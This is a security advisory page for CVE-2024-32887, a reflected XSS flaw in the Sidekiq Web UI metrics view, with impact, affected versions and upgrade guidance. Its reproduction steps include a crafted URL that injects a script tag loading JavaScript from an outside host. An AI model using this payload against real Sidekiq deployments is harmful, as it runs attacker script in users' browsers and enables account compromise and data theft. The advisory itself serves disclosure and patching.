CVE-2024-32887 is a medium-severity (CVSS 5.5) Cross-site Scripting (XSS) vulnerability in sidekiq. A fix is available for sidekiq — see the affected versions and patch details below.
Reflected XSS in sidekiq
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-32887.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
sidekiqReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Description:
During the source Code Review of the metrics.erb view of the Sidekiq Web UI, A reflected XSS vulnerability is discovered. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application.
This vulnerability can be exploited to target the users of the application, and users of other applications deployed on the same domain or website as that of the Sidekiq website. Successful exploit results may result in compromise of user accounts and user data.
Impact:
The impact of this vulnerability can be severe. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc.
Mitigation:
Encode all output data before rendering it in the response to prevent XSS attacks.
Steps to Reproduce:
- Go to the following URL of the sidekiq Web UI: https://{host}/sidekiq/metrics?substr=beret%22%3E%3Cscript%20src=%22https://cheemahq.vercel.app/a.js%22%20/%3E
- XSS payload will be executed, causing a popup.
Evidence:
Figure 1: Source Code Vulnerable to XSS
Figure 2: XSS payload triggered
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | sidekiq | ≥ 7.2.0&&< 7.2.4 | 7.2.4bundle update sidekiq --conservative |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sidekiq, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update sidekiq to 7.2.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-32887 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is CVE-2024-32887 in your dependencies?
Find it across RubyGems, including transitive dependencies.